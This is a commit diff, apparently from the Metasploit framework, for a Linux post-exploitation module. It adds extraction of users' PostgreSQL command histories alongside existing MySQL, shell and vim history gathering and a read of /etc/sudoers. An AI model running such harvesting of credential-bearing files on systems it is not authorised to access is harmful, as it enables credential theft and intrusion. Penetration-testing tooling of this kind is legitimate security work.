Add support for PostgreSQL history

bug/bundler_fix
Brendan Coles 2014-12-30 07:33:22 +11:00
parent 4ebe0fc0a8
commit a50ac4050c
1 changed files with 29 additions and 8 deletions

View File

@ -47,7 +47,8 @@ class Metasploit3 < Msf::Post
shells.each do |shell| shells.each do |shell|
get_shell_history(users, user, shell) get_shell_history(users, user, shell)
end end
get_sql_history(users, user) get_mysql_history(users, user)
get_psql_history(users, user)
get_vim_history(users, user) get_vim_history(users, user)
last = execute("/usr/bin/last && /usr/bin/lastlog") last = execute("/usr/bin/last && /usr/bin/lastlog")
sudoers = cat_file("/etc/sudoers") sudoers = cat_file("/etc/sudoers")
@ -109,25 +110,45 @@ class Metasploit3 < Msf::Post
end end
end end
def get_sql_history(users, user) def get_mysql_history(users, user)
if user == "root" and users != nil if user == "root" and users != nil
users = users.chomp.split() users = users.chomp.split()
users.each do |u| users.each do |u|
if u == "root" if u == "root"
vprint_status("Extracting SQL history for #{u}") vprint_status("Extracting MySQL history for #{u}")
sql_hist = cat_file("/root/.mysql_history") sql_hist = cat_file("/root/.mysql_history")
else else
vprint_status("Extracting SQL history for #{u}") vprint_status("Extracting MySQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.mysql_history") sql_hist = cat_file("/home/#{u}/.mysql_history")
end end
save("MySQL History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end end
else else
vprint_status("Extracting SQL history for #{user}") vprint_status("Extracting MySQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.mysql_history") sql_hist = cat_file("/home/#{user}/.mysql_history")
vprint_status(sql_hist) if sql_hist vprint_status(sql_hist) if sql_hist
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ save("MySQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end
end
def get_psql_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting PostgreSQL history for #{u}")
sql_hist = cat_file("/root/.psql_history")
else
vprint_status("Extracting PostgreSQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.psql_history")
end
save("PostgreSQL History for #{u}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
else
vprint_status("Extracting PostgreSQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.psql_history")
vprint_status(sql_hist) if sql_hist
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end end
end end